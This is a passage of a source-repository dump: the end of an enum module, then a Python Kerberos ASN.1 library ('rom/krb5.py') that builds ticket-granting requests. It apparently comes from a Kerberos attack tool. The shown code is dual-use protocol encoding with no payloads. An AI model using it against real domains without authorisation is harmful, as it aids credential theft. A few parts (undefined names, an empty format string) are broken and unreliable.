__getnewargs__ 716 | del __getnewargs__ 717 | 718 | def __hash__(self): 719 | return hash(self._name_) 720 | temp_enum_dict['__hash__'] = __hash__ 721 | del __hash__ 722 | 723 | # _RouteClassAttributeToGetattr is used to provide access to the `name` 724 | # and `value` properties of enum members while keeping some measure of 725 | # protection from modification, while still allowing for an enumeration 726 | # to have members named `name` and `value`. This works because enumeration 727 | # members are not set directly on the enum class -- __getattr__ is 728 | # used to look them up. 729 | 730 | @_RouteClassAttributeToGetattr 731 | def name(self): 732 | return self._name_ 733 | temp_enum_dict['name'] = name 734 | del name 735 | 736 | @_RouteClassAttributeToGetattr 737 | def value(self): 738 | return self._value_ 739 | temp_enum_dict['value'] = value 740 | del value 741 | 742 | Enum = EnumMeta('Enum', (object, ), temp_enum_dict) 743 | del temp_enum_dict 744 | 745 | # Enum has now been created 746 | ########################### 747 | 748 | class IntEnum(int, Enum): 749 | """Enum where members are also (and must be) ints""" 750 | 751 | 752 | def unique(enumeration): 753 | """Class decorator that ensures only unique members exist in an enumeration.""" 754 | duplicates = [] 755 | for name, member in enumeration.__members__.items(): 756 | if name != member.name: 757 | duplicates.append((name, member.name)) 758 | if duplicates: 759 | duplicate_names = ', '.join( 760 | ["%s -> %s" % (alias, name) for (alias, name) in duplicates] 761 | ) 762 | raise ValueError('duplicate names found in %r: %s' % 763 | (enumeration, duplicate_names) 764 | ) 765 | return enumeration -------------------------------------------------------------------------------- /modules/rom/krb5.py: -------------------------------------------------------------------------------- 1 | # ---------------------------------------------------------------------------- 2 | # "THE BEER-WARE LICENSE" (Revision 42): 3 | # wrote this file. As long as you 4 | # retain this notice you can do whatever you want with this stuff. If we meet 5 | # some day, and you think this stuff is worth it, you can buy me a beer in 6 | # return. Fist0urs 7 | # ---------------------------------------------------------------------------- 8 | 9 | #!/usr/bin/python 10 | 11 | # -*- coding: utf-8 -*- 12 | 13 | # by Fist0urs 14 | 15 | from socket import socket 16 | 17 | from pyasn1.type import tag, namedtype, univ, constraint, char, useful 18 | from pyasn1.codec.der.encoder import encode 19 | from pyasn1.codec.der.decoder import decode 20 | import pyasn1.error 21 | import constants 22 | 23 | from crypto import encrypt, decrypt, checksum, RC4_HMAC, RSA_MD5 24 | from util import epoch2gt 25 | from struct import pack, unpack 26 | from rom import nt_errors 27 | 28 | 29 | NT_UNKNOWN = 0 30 | NT_PRINCIPAL = 1 31 | NT_SRV_INST = 2 32 | NT_SRV_HST = 3 33 | NT_SRV_XHST = 4 34 | NT_UID = 5 35 | NT_X500_PRINCIPAL = 6 36 | NT_SMTP_NAME = 7 37 | NT_ENTERPRISE = 10 38 | 39 | 40 | AD_IF_RELEVANT = 1 41 | AD_WIN2K_PAC = 128 42 | 43 | 44 | # Copyright (c) 2013, Marc Horowitz 45 | # All rights reserved. 46 | # 47 | # Redistribution and use in source and binary forms, with or without 48 | # modification, are permitted provided that the following conditions are 49 | # met: 50 | # 51 | # Redistributions of source code must retain the above copyright notice, 52 | # this list of conditions and the following disclaimer. 53 | # 54 | # Redistributions in binary form must reproduce the above copyright 55 | # notice, this list of conditions and the following disclaimer in the 56 | # documentation and/or other materials provided with the distribution. 57 | # 58 | # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 59 | # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 60 | # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 61 | # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 62 | # HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 63 | # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 64 | # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 65 | # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 66 | # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 67 | # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 68 | # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 69 | # 70 | # Altered source by Alberto Solino (@agsolino) 71 | # Source shamelessly included by Jean-Christophe Delaunay (@Fist0urs) 72 | # 73 | # Changed some of the classes names to match the RFC 4120 74 | # Added [MS-KILE] data 75 | # Adapted to Enum 76 | # 77 | 78 | class MyTicket(object): 79 | def __init__(self): 80 | # This is the kerberos version, not the service principal key 81 | # version number. 82 | self.tkt_vno = None 83 | self.service_principal = None 84 | self.encrypted_part = None 85 | 86 | def from_asn1(self, data): 87 | data = _asn1_decode(data, asn1.Ticket()) 88 | self.tkt_vno = int(data.getComponentByName('tkt-vno')) 89 | self.service_principal = Principal() 90 | self.service_principal.from_asn1(data, 'realm', 'sname') 91 | self.encrypted_part = EncryptedData() 92 | self.encrypted_part.from_asn1(data.getComponentByName('enc-part')) 93 | return self 94 | 95 | def to_asn1(self, component): 96 | component.setComponentByName('tkt-vno', 5) 97 | component.setComponentByName('realm', self.service_principal.realm) 98 | asn1.seq_set(component, 'sname', 99 | self.service_principal.components_to_asn1) 100 | asn1.seq_set(component, 'enc-part', self.encrypted_part.to_asn1) 101 | return component 102 | 103 | def __str__(self): 104 | return "" % (str(self.service_principal), str(self.encrypted_part.kvno)) 105 | 106 | def _application_tag(tag_value): 107 | return univ.Sequence.tagSet.tagExplicitly( 108 | tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 109 | int(tag_value))) 110 | 111 | def _c(n, t): 112 | return t.clone(tagSet=t.tagSet + tag.Tag(tag.tagClassContext, tag.tagFormatSimple, n)) 113 | 114 | def _v(n, t): 115 | return t.clone(tagSet=t.tagSet + tag.Tag(tag.tagClassContext, tag.tagFormatSimple, n), cloneValueFlag=True) 116 | 117 | def _vno_component(tag_value, name="pvno"): 118 | return _sequence_component( 119 | name, tag_value, univ.Integer(), 120 | subtypeSpec=constraint.ValueRangeConstraint(5, 5)) 121 | 122 | def _msg_type_component(tag_value, values): 123 | c = constraint.ConstraintsUnion( 124 | *(constraint.SingleValueConstraint(int(v)) for v in values)) 125 | return _sequence_component('msg-type', tag_value, univ.Integer(), 126 | subtypeSpec=c) 127 | 128 | def _sequence_component(name, tag_value, type, **subkwargs): 129 | return namedtype.NamedType(name, type.subtype( 130 | explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 131 | tag_value), 132 | **subkwargs)) 133 | 134 | def _sequence_optional_component(name, tag_value, type, **subkwargs): 135 | return namedtype.OptionalNamedType(name, type.subtype( 136 | explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 137 | tag_value), 138 | **subkwargs)) 139 | 140 | def seq_set(seq, name, builder=None, *args, **kwargs): 141 | component = seq.setComponentByName(name).getComponentByName(name) 142 | if builder is not None: 143 | seq.setComponentByName(name, builder(component, *args, **kwargs)) 144 | else: 145 | seq.setComponentByName(name) 146 | return seq.getComponentByName(name) 147 | 148 | def seq_set_dict(seq, name, pairs, *args, **kwargs): 149 | component = seq.setComponentByName(name).getComponentByName(name) 150 | for k, v in pairs.iteritems(): 151 | component.setComponentByName(k, v) 152 | 153 | def seq_set_iter(seq, name, iterable): 154 | component = seq.setComponentByName(name).getComponentByName(name) 155 | for pos, v in enumerate(iterable): 156 | component.setComponentByPosition(pos, v) 157 | 158 | def seq_set_flags(seq, name, flags): 159 | seq_set(seq, name, flags.to_asn1) 160 | 161 | def seq_append(seq, name, pairs): 162 | component = seq.getComponentByName(name) 163 | if component is None: 164 | component = seq.setComponentByName(name).getComponentByName(name) 165 | index = len(component) 166 | element = component.setComponentByPosition(index 167 | ).getComponentByPosition(index) 168 | for k, v in pairs.iteritems(): 169 | element.setComponentByName(k, v) 170 | 171 | class Int32(univ.Integer): 172 | subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint( 173 | -2147483648, 2147483647) 174 | 175 | class UInt32(univ.Integer): 176 | pass 177 | # subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint( 178 | # 0, 4294967295) 179 | 180 | class Microseconds(univ.Integer): 181 | subtypeSpec = univ.Integer.subtypeSpec + constraint.ValueRangeConstraint( 182 | 0, 999999) 183 | 184 | class KerberosString(char.GeneralString): 185 | # TODO marc: I'm not sure how to express this constraint in the API. 186 | # For now, we will be liberal in what we accept. 187 | # subtypeSpec = constraint.PermittedAlphabetConstraint(char.IA5String()) 188 | pass 189 | 190 | class Realm(KerberosString): 191 | pass 192 | 193 | class PrincipalName(univ.Sequence): 194 | componentType = namedtype.NamedTypes( 195 | _sequence_component("name-type", 0, Int32()), 196 | _sequence_component("name-string", 1, 197 | univ.SequenceOf(componentType=KerberosString())) 198 | ) 199 | 200 | class KerberosTime(useful.GeneralizedTime): 201 | pass 202 | 203 | class HostAddress(univ.Sequence): 204 | componentType = namedtype.NamedTypes( 205 | _sequence_component("addr-type", 0, Int32()), 206 | _sequence_component("address", 1, univ.OctetString()) 207 | ) 208 | 209 | class HostAddresses(univ.SequenceOf): 210 | componentType = HostAddress() 211 | 212 | class AuthorizationData(univ.SequenceOf): 213 | componentType = univ.Sequence(componentType=namedtype.NamedTypes( 214 | _sequence_component('ad-type', 0, Int32()), 215 | _sequence_component('ad-data', 1, univ.OctetString()) 216 | )) 217 | 218 | class PA_DATA(univ.Sequence): 219 | componentType = namedtype.NamedTypes( 220 | _sequence_component('padata-type', 1, Int32()), 221 | _sequence_component('padata-value', 2, univ.OctetString()) 222 | ) 223 | 224 | class KerberosFlags(univ.BitString): 225 | # TODO marc: it doesn't look like there's any way to specify the 226 | # SIZE (32.. MAX) parameter to the encoder. However, we can 227 | # arrange at a higher layer to pass in >= 32 bits to the encoder. 228 | pass 229 | 230 | class EncryptedData(univ.Sequence): 231 | componentType = namedtype.NamedTypes( 232 | _sequence_component("etype", 0, Int32()), 233 | _sequence_optional_component("kvno", 1, UInt32()), 234 | _sequence_component("cipher", 2, univ.OctetString()) 235 | ) 236 | 237 | class EncryptionKey(univ.Sequence): 238 | componentType = namedtype.NamedTypes( 239 | _sequence_component('keytype', 0, Int32()), 240 | _sequence_component('keyvalue', 1, univ.OctetString())) 241 | 242 | class Checksum(univ.Sequence): 243 | componentType = namedtype.NamedTypes( 244 | _sequence_component('cksumtype', 0, Int32()), 245 | _sequence_component('checksum', 1, univ.OctetString())) 246 | 247 | class Ticket(univ.Sequence): 248 | tagSet = _application_tag(constants.ApplicationTagNumbers.Ticket.value) 249 | componentType = namedtype.NamedTypes( 250 | _vno_component(name="tkt-vno", tag_value=0), 251 | _sequence_component("realm", 1, Realm()), 252 | _sequence_component("sname", 2, PrincipalName()), 253 | _sequence_component("enc-part", 3, EncryptedData()) 254 | ) 255 | 256 | class TicketFlags(KerberosFlags): 257 | pass 258 | 259 | class TransitedEncoding(univ.Sequence): 260 | componentType = namedtype.NamedTypes( 261 | _sequence_component('tr-type', 0, Int32()), 262 | _sequence_component('contents', 1, univ.OctetString())) 263 | 264 | class EncTicketPart(univ.Sequence): 265 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncTicketPart.value) 266 | componentType = namedtype.NamedTypes( 267 | _sequence_component("flags", 0, TicketFlags()), 268 | _sequence_component("key", 1, EncryptionKey()), 269 | _sequence_component("crealm", 2, Realm()), 270 | _sequence_component("cname", 3, PrincipalName()), 271 | _sequence_component("transited", 4, TransitedEncoding()), 272 | _sequence_component("authtime", 5, KerberosTime()), 273 | _sequence_optional_component("starttime", 6, KerberosTime()), 274 | _sequence_component("endtime", 7, KerberosTime()), 275 | _sequence_optional_component("renew-till", 8, KerberosTime()), 276 | _sequence_optional_component("caddr", 9, HostAddresses()), 277 | _sequence_optional_component("authorization-data", 10, AuthorizationData()) 278 | ) 279 | 280 | class KDCOptions(KerberosFlags): 281 | pass 282 | 283 | class KDC_REQ_BODY(univ.Sequence): 284 | componentType = namedtype.NamedTypes( 285 | _sequence_component('kdc-options', 0, KDCOptions()), 286 | _sequence_optional_component('cname', 1, PrincipalName()), 287 | _sequence_component('realm', 2, Realm()), 288 | _sequence_optional_component('sname', 3, PrincipalName()), 289 | _sequence_optional_component('from', 4, KerberosTime()), 290 | _sequence_component('till', 5, KerberosTime()), 291 | _sequence_optional_component('rtime', 6, KerberosTime()), 292 | _sequence_component('nonce', 7, UInt32()), 293 | _sequence_component('etype', 8, 294 | univ.SequenceOf(componentType=Int32())), 295 | _sequence_optional_component('addresses', 9, HostAddresses()), 296 | _sequence_optional_component('enc-authorization-data', 10, 297 | EncryptedData()), 298 | _sequence_optional_component('additional-tickets', 11, 299 | univ.SequenceOf(componentType=Ticket())) 300 | ) 301 | 302 | class KDC_REQ(univ.Sequence): 303 | componentType = namedtype.NamedTypes( 304 | _vno_component(1), 305 | _msg_type_component(2, (constants.ApplicationTagNumbers.AS_REQ.value, 306 | constants.ApplicationTagNumbers.TGS_REQ.value)), 307 | _sequence_optional_component('padata', 3, 308 | univ.SequenceOf(componentType=PA_DATA())), 309 | _sequence_component('req-body', 4, KDC_REQ_BODY()) 310 | ) 311 | 312 | class AS_REQ(KDC_REQ): 313 | tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REQ.value) 314 | 315 | class TGS_REQ(KDC_REQ): 316 | tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REQ.value) 317 | 318 | class KDC_REP(univ.Sequence): 319 | componentType = namedtype.NamedTypes( 320 | _vno_component(0), 321 | _msg_type_component(1, (constants.ApplicationTagNumbers.AS_REP.value, 322 | constants.ApplicationTagNumbers.TGS_REP.value)), 323 | _sequence_optional_component('padata', 2, 324 | univ.SequenceOf(componentType=PA_DATA())), 325 | _sequence_component('crealm', 3, Realm()), 326 | _sequence_component('cname', 4, PrincipalName()), 327 | _sequence_component('ticket', 5, Ticket()), 328 | _sequence_component('enc-part', 6, EncryptedData()) 329 | ) 330 | 331 | class LastReq(univ.SequenceOf): 332 | componentType = univ.Sequence(componentType=namedtype.NamedTypes( 333 | _sequence_component('lr-type', 0, Int32()), 334 | _sequence_component('lr-value', 1, KerberosTime()) 335 | )) 336 | 337 | class METHOD_DATA(univ.SequenceOf): 338 | componentType = PA_DATA() 339 | 340 | class EncKDCRepPart(univ.Sequence): 341 | componentType = namedtype.NamedTypes( 342 | _sequence_component('key', 0, EncryptionKey()), 343 | _sequence_component('last-req', 1, LastReq()), 344 | _sequence_component('nonce', 2, UInt32()), 345 | _sequence_optional_component('key-expiration', 3, KerberosTime()), 346 | _sequence_component('flags', 4, TicketFlags()), 347 | _sequence_component('authtime', 5, KerberosTime()), 348 | _sequence_optional_component('starttime', 6, KerberosTime()), 349 | _sequence_component('endtime', 7, KerberosTime()), 350 | _sequence_optional_component('renew-till', 8, KerberosTime()), 351 | _sequence_component('srealm', 9, Realm()), 352 | _sequence_component('sname', 10, PrincipalName()), 353 | _sequence_optional_component('caddr', 11, HostAddresses()), 354 | _sequence_optional_component('encrypted_pa_data', 12, METHOD_DATA()) 355 | ) 356 | 357 | class EncASRepPart(EncKDCRepPart): 358 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncASRepPart.value) 359 | 360 | class EncTGSRepPart(EncKDCRepPart): 361 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncTGSRepPart.value) 362 | 363 | class AS_REP(KDC_REP): 364 | tagSet = _application_tag(constants.ApplicationTagNumbers.AS_REP.value) 365 | 366 | class TGS_REP(KDC_REP): 367 | tagSet = _application_tag(constants.ApplicationTagNumbers.TGS_REP.value) 368 | 369 | class APOptions(KerberosFlags): 370 | pass 371 | 372 | class Authenticator(univ.Sequence): 373 | tagSet = _application_tag(constants.ApplicationTagNumbers.Authenticator.value) 374 | componentType = namedtype.NamedTypes( 375 | _vno_component(name='authenticator-vno', tag_value=0), 376 | _sequence_component('crealm', 1, Realm()), 377 | _sequence_component('cname', 2, PrincipalName()), 378 | _sequence_optional_component('cksum', 3, Checksum()), 379 | _sequence_component('cusec', 4, Microseconds()), 380 | _sequence_component('ctime', 5, KerberosTime()), 381 | _sequence_optional_component('subkey', 6, EncryptionKey()), 382 | _sequence_optional_component('seq-number', 7, UInt32()), 383 | _sequence_optional_component('authorization-data', 8, 384 | AuthorizationData()) 385 | ) 386 | 387 | class AP_REQ(univ.Sequence): 388 | tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REQ.value) 389 | componentType = namedtype.NamedTypes( 390 | _vno_component(0), 391 | _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REQ.value,)), 392 | _sequence_component('ap-options', 2, APOptions()), 393 | _sequence_component('ticket', 3, Ticket()), 394 | _sequence_component('authenticator', 4, EncryptedData()) 395 | ) 396 | 397 | class AP_REP(univ.Sequence): 398 | tagSet = _application_tag(constants.ApplicationTagNumbers.AP_REP.value) 399 | componentType = namedtype.NamedTypes( 400 | _vno_component(0), 401 | _msg_type_component(1, (constants.ApplicationTagNumbers.AP_REP.value,)), 402 | _sequence_component('enc-part', 2, EncryptedData()), 403 | ) 404 | 405 | class EncAPRepPart(univ.Sequence): 406 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncApRepPart.value) 407 | componentType = namedtype.NamedTypes( 408 | _sequence_component('ctime', 0, KerberosTime()), 409 | _sequence_component('cusec', 1, Microseconds()), 410 | _sequence_optional_component('subkey', 2, EncryptionKey()), 411 | _sequence_optional_component('seq-number', 3, UInt32()), 412 | ) 413 | 414 | class KRB_SAFE_BODY(univ.Sequence): 415 | componentType = namedtype.NamedTypes( 416 | _sequence_component('user-data', 0, univ.OctetString()), 417 | _sequence_optional_component('timestamp', 1, KerberosTime()), 418 | _sequence_optional_component('usec', 2, Microseconds()), 419 | _sequence_optional_component('seq-number', 3, UInt32()), 420 | _sequence_component('s-address', 4, HostAddress()), 421 | _sequence_optional_component('r-address', 5, HostAddress()), 422 | ) 423 | 424 | class KRB_SAFE(univ.Sequence): 425 | tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_SAFE.value) 426 | componentType = namedtype.NamedTypes( 427 | _vno_component(0), 428 | _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_SAFE.value,)), 429 | _sequence_component('safe-body', 2, KRB_SAFE_BODY()), 430 | _sequence_component('cksum', 3, Checksum()), 431 | ) 432 | 433 | class KRB_PRIV(univ.Sequence): 434 | tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_PRIV.value) 435 | componentType = namedtype.NamedTypes( 436 | _vno_component(0), 437 | _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_PRIV.value,)), 438 | _sequence_component('enc-part', 3, EncryptedData()), 439 | ) 440 | 441 | class EncKrbPrivPart(univ.Sequence): 442 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbPrivPart.value) 443 | componentType = namedtype.NamedTypes( 444 | _sequence_component('user-data', 0, univ.OctetString()), 445 | _sequence_optional_component('timestamp', 1, KerberosTime()), 446 | _sequence_optional_component('cusec', 2, Microseconds()), 447 | _sequence_optional_component('seq-number', 3, UInt32()), 448 | _sequence_component('s-address', 4, HostAddress()), 449 | _sequence_optional_component('r-address', 5, HostAddress()), 450 | ) 451 | 452 | class KRB_CRED(univ.Sequence): 453 | tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_CRED.value) 454 | componentType = namedtype.NamedTypes( 455 | _vno_component(0), 456 | _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_CRED.value,)), 457 | _sequence_optional_component('tickets', 2, 458 | univ.SequenceOf(componentType=Ticket())), 459 | _sequence_component('enc-part', 3, EncryptedData()), 460 | ) 461 | 462 | class KrbCredInfo(univ.Sequence): 463 | componentType = namedtype.NamedTypes( 464 | _sequence_component('key', 0, EncryptionKey()), 465 | _sequence_optional_component('prealm', 1, Realm()), 466 | _sequence_optional_component('pname', 2, PrincipalName()), 467 | _sequence_optional_component('flags', 3, TicketFlags()), 468 | _sequence_optional_component('authtime', 4, KerberosTime()), 469 | _sequence_optional_component('starttime', 5, KerberosTime()), 470 | _sequence_optional_component('endtime', 6, KerberosTime()), 471 | _sequence_optional_component('renew-till', 7, KerberosTime()), 472 | _sequence_optional_component('srealm', 8, Realm()), 473 | _sequence_optional_component('sname', 9, PrincipalName()), 474 | _sequence_optional_component('caddr', 10, HostAddresses()), 475 | ) 476 | 477 | class EncKrbCredPart(univ.Sequence): 478 | tagSet = _application_tag(constants.ApplicationTagNumbers.EncKrbCredPart.value) 479 | componentType = namedtype.NamedTypes( 480 | _sequence_component('ticket-info', 0, univ.SequenceOf(componentType=KrbCredInfo())), 481 | _sequence_optional_component('nonce', 1, UInt32()), 482 | _sequence_optional_component('timestamp', 2, KerberosTime()), 483 | _sequence_optional_component('usec', 3, Microseconds()), 484 | _sequence_optional_component('s-address', 4, HostAddress()), 485 | _sequence_optional_component('r-address', 5, HostAddress()), 486 | ) 487 | 488 | class KRB_ERROR(univ.Sequence): 489 | tagSet = _application_tag(constants.ApplicationTagNumbers.KRB_ERROR.value) 490 | componentType = namedtype.NamedTypes( 491 | _vno_component(0), 492 | _msg_type_component(1, (constants.ApplicationTagNumbers.KRB_ERROR.value,)), 493 | _sequence_optional_component('ctime', 2, KerberosTime()), 494 | _sequence_optional_component('cusec', 3, Microseconds()), 495 | _sequence_component('stime', 4, KerberosTime()), 496 | _sequence_component('susec', 5, Microseconds()), 497 | _sequence_component('error-code', 6, Int32()), 498 | _sequence_optional_component('crealm', 7, Realm()), 499 | _sequence_optional_component('cname', 8, PrincipalName()), 500 | _sequence_component('realm', 9, Realm()), 501 | _sequence_component('sname', 10, PrincipalName()), 502 | _sequence_optional_component('e-text', 11, KerberosString()), 503 | _sequence_optional_component('e-data', 12, univ.OctetString()) 504 | ) 505 | 506 | class TYPED_DATA(univ.SequenceOf): 507 | componentType = namedtype.NamedTypes( 508 | _sequence_component('data-type', 0, Int32()), 509 | _sequence_optional_component('data-value', 1, univ.OctetString()), 510 | ) 511 | 512 | class PA_ENC_TIMESTAMP(EncryptedData): 513 | pass 514 | 515 | class PA_ENC_TS_ENC(univ.Sequence): 516 | componentType = namedtype.NamedTypes( 517 | _sequence_component('patimestamp', 0, KerberosTime()), 518 | _sequence_optional_component('pausec', 1, Microseconds())) 519 | 520 | class ETYPE_INFO_ENTRY(univ.Sequence): 521 | componentType = namedtype.NamedTypes( 522 | _sequence_component('etype', 0, Int32()), 523 | _sequence_optional_component('salt', 1, univ.OctetString())) 524 | 525 | class ETYPE_INFO(univ.SequenceOf): 526 | componentType = ETYPE_INFO_ENTRY() 527 | 528 | class ETYPE_INFO2_ENTRY(univ.Sequence): 529 | componentType = namedtype.NamedTypes( 530 | _sequence_component('etype', 0, Int32()), 531 | _sequence_optional_component('salt', 1, KerberosString()), 532 | _sequence_optional_component('s2kparams', 2, univ.OctetString())) 533 | 534 | class ETYPE_INFO2(univ.SequenceOf): 535 | componentType = ETYPE_INFO2_ENTRY() 536 | 537 | class AD_IF_RELEVANT(AuthorizationData): 538 | pass 539 | 540 | class AD_KDCIssued(univ.Sequence): 541 | componentType = namedtype.NamedTypes( 542 | _sequence_component('ad-checksum', 0, Checksum()), 543 | _sequence_optional_component('i-realm', 1, Realm()), 544 | _sequence_optional_component('i-sname', 2, PrincipalName()), 545 | _sequence_component('elements', 3, AuthorizationData())) 546 | 547 | class AD_AND_OR(univ.Sequence): 548 | componentType = namedtype.NamedTypes( 549 | _sequence_component('condition-count', 0, Int32()), 550 | _sequence_optional_component('elements', 1, AuthorizationData())) 551 | 552 | class AD_MANDATORY_FOR_KDC(AuthorizationData): 553 | pass 554 | 555 | class KERB_PA_PAC_REQUEST(univ.Sequence): 556 | componentType = namedtype.NamedTypes( 557 | namedtype.NamedType('include-pac', univ.Boolean().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatSimple, 0))), 558 | ) 559 | 560 | class PA_FOR_USER_ENC(univ.Sequence): 561 | componentType = namedtype.NamedTypes( 562 | _sequence_component('userName', 0, PrincipalName()), 563 | _sequence_optional_component('userRealm', 1, Realm()), 564 | _sequence_optional_component('cksum', 2, Checksum()), 565 | _sequence_optional_component('auth-package', 3, KerberosString())) 566 | 567 | class KERB_ERROR_DATA(univ.Sequence): 568 | componentType = namedtype.NamedTypes( 569 | _sequence_component('data-type', 1, Int32()), 570 | _sequence_component('data-value', 2, univ.OctetString())) 571 | 572 | class PA_PAC_OPTIONS(univ.SequenceOf): 573 | componentType = KerberosFlags() 574 | 575 | 576 | def build_req_body(realm, service, host, nonce, cname=None, authorization_data=None, etype=RC4_HMAC): 577 | req_body = KDC_REQ_BODY() 578 | 579 | # (Forwardable, Proxiable, Renewable, Canonicalize) 580 | req_body['kdc-options'] = "'01010000100000000000000000000000'B" 581 | 582 | if cname is not None: 583 | req_body['cname'] = None 584 | req_body['cname'] 585 | req_body['cname']['name-type'] = NT_SRV_INST 586 | req_body['cname']['name-string'] = None 587 | req_body['cname']['name-string'][0] = cname 588 | 589 | req_body['realm'] = realm 590 | 591 | req_body['sname'] = None 592 | req_body['sname']['name-type'] = NT_SRV_INST 593 | req_body['sname']['name-string'] = None 594 | req_body['sname']['name-string'][0] = service 595 | req_body['sname']['name-string'][1] = realm 596 | if (host != ''): 597 | req_body['sname']['name-string'][1] = host 598 | #else: 599 | # req_body['sname']['name-string'][1] = host 600 | # req_body['sname']['name-string'][2] = realm 601 | 602 | req_body['from'] = '19700101000000Z' 603 | req_body['till'] = '19700101000000Z' 604 | req_body['rtime'] = '19700101000000Z' 605 | req_body['nonce'] = nonce 606 | 607 | req_body['etype'] = None 608 | req_body['etype'][0] = etype 609 | 610 | if authorization_data is not None: 611 | req_body['enc-authorization-data'] = None 612 | req_body['enc-authorization-data']['etype'] = authorization_data[0] 613 | req_body['enc-authorization-data']['cipher'] = authorization_data[1] 614 | 615 | return req_body 616 | 617 | def build_authenticator(realm, name, chksum, subkey, current_time, authorization_data=None): 618 | auth = Authenticator() 619 | 620 | auth['authenticator-vno'] = 5 621 | 622 | auth['crealm'] = realm 623 | 624 | auth['cname'] = None 625 | auth['cname']['name-type'] = NT_PRINCIPAL 626 | auth['cname']['name-string'] = None 627 | auth['cname']['name-string'][0] = name 628 | 629 | auth['cksum'] = None 630 | auth['cksum']['cksumtype'] = chksum[0] 631 | auth['cksum']['checksum'] = chksum[1] 632 | 633 | gt, ms = epoch2gt(current_time, microseconds=True) 634 | auth['cusec'] = ms 635 | auth['ctime'] = gt 636 | 637 | auth['subkey'] = None 638 | auth['subkey']['keytype'] = subkey[0] 639 | auth['subkey']['keyvalue'] = subkey[1] 640 | 641 | if authorization_data is not None: 642 | auth['authorization-data'] = _v(8, authorization_data) 643 | 644 | return auth 645 | 646 | def build_ap_req(tgt, key, msg_type, authenticator): 647 | enc_auth = encrypt(key[0], key[1], msg_type, encode(authenticator)) 648 | 649 | ap_req = AP_REQ() 650 | ap_req['pvno'] = 5 651 | ap_req['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) 652 | ap_req['ap-options'] = "'00000000000000000000000000000000'B" 653 | 654 | bla = Ticket() 655 | bla["tkt-vno"] = tgt["tkt-vno"] 656 | bla["realm"] = tgt["realm"] 657 | bla["sname"] = tgt["sname"] 658 | bla["enc-part"] = tgt["enc-part"] 659 | 660 | ap_req['ticket'] = _v(3, bla) 661 | 662 | ap_req['authenticator'] = None 663 | ap_req['authenticator']['etype'] = key[0] 664 | ap_req['authenticator']['cipher'] = enc_auth 665 | 666 | return ap_req 667 | 668 | def build_tgs_req(target_realm, target_service, target_host, 669 | user_realm, user_name, tgt, session_key, subkey, 670 | nonce, current_time, authorization_data=None, pac_request=None): 671 | 672 | if authorization_data is not None: 673 | ad1 = AuthorizationData() 674 | ad1[0] = None 675 | ad1[0]['ad-type'] = authorization_data[0] 676 | ad1[0]['ad-data'] = authorization_data[1] 677 | ad = AuthorizationData() 678 | ad[0] = None 679 | ad[0]['ad-type'] = AD_IF_RELEVANT 680 | ad[0]['ad-data'] = encode(ad1) 681 | enc_ad = (subkey[0], encrypt(subkey[0], subkey[1], 5, encode(ad))) 682 | else: 683 | ad = None 684 | enc_ad = None 685 | 686 | req_body = build_req_body(target_realm, target_service, target_host, nonce, authorization_data=enc_ad) 687 | chksum = (RSA_MD5, checksum(RSA_MD5, encode(req_body))) 688 | 689 | authenticator = build_authenticator(user_realm, user_name, chksum, subkey, current_time)#, ad) 690 | ap_req = build_ap_req(tgt, session_key, 7, authenticator) 691 | 692 | tgs_req = TGS_REQ() 693 | tgs_req['pvno'] = 5 694 | tgs_req['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) 695 | 696 | tgs_req['padata'] = None 697 | tgs_req['padata'][0] = None 698 | tgs_req['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) 699 | tgs_req['padata'][0]['padata-value'] = encode(ap_req) 700 | 701 | if pac_request is not None: 702 | pa_pac_request = KerbPaPacRequest() 703 | pa_pac_request['include-pac'] = pac_request 704 | tgs_req['padata'][1] = None 705 | tgs_req['padata'][1]['padata-type'] = 128 706 | tgs_req['padata'][1]['padata-value'] = encode(pa_pac_request) 707 | 708 | tgs_req['req-body'] = _v(4, req_body) 709 | 710 | return tgs_req 711 | 712 | def build_pa_enc_timestamp(current_time, key): 713 | gt, ms = epoch2gt(current_time, microseconds=True) 714 | pa_ts_enc = PA_ENC_TS_ENC() 715 | pa_ts_enc['patimestamp'] = gt 716 | pa_ts_enc['pausec'] = ms 717 | 718 | pa_ts = PA_ENC_TIMESTAMP() 719 | pa_ts['etype'] = key[0] 720 | pa_ts['cipher'] = encrypt(key[0], key[1], 1, 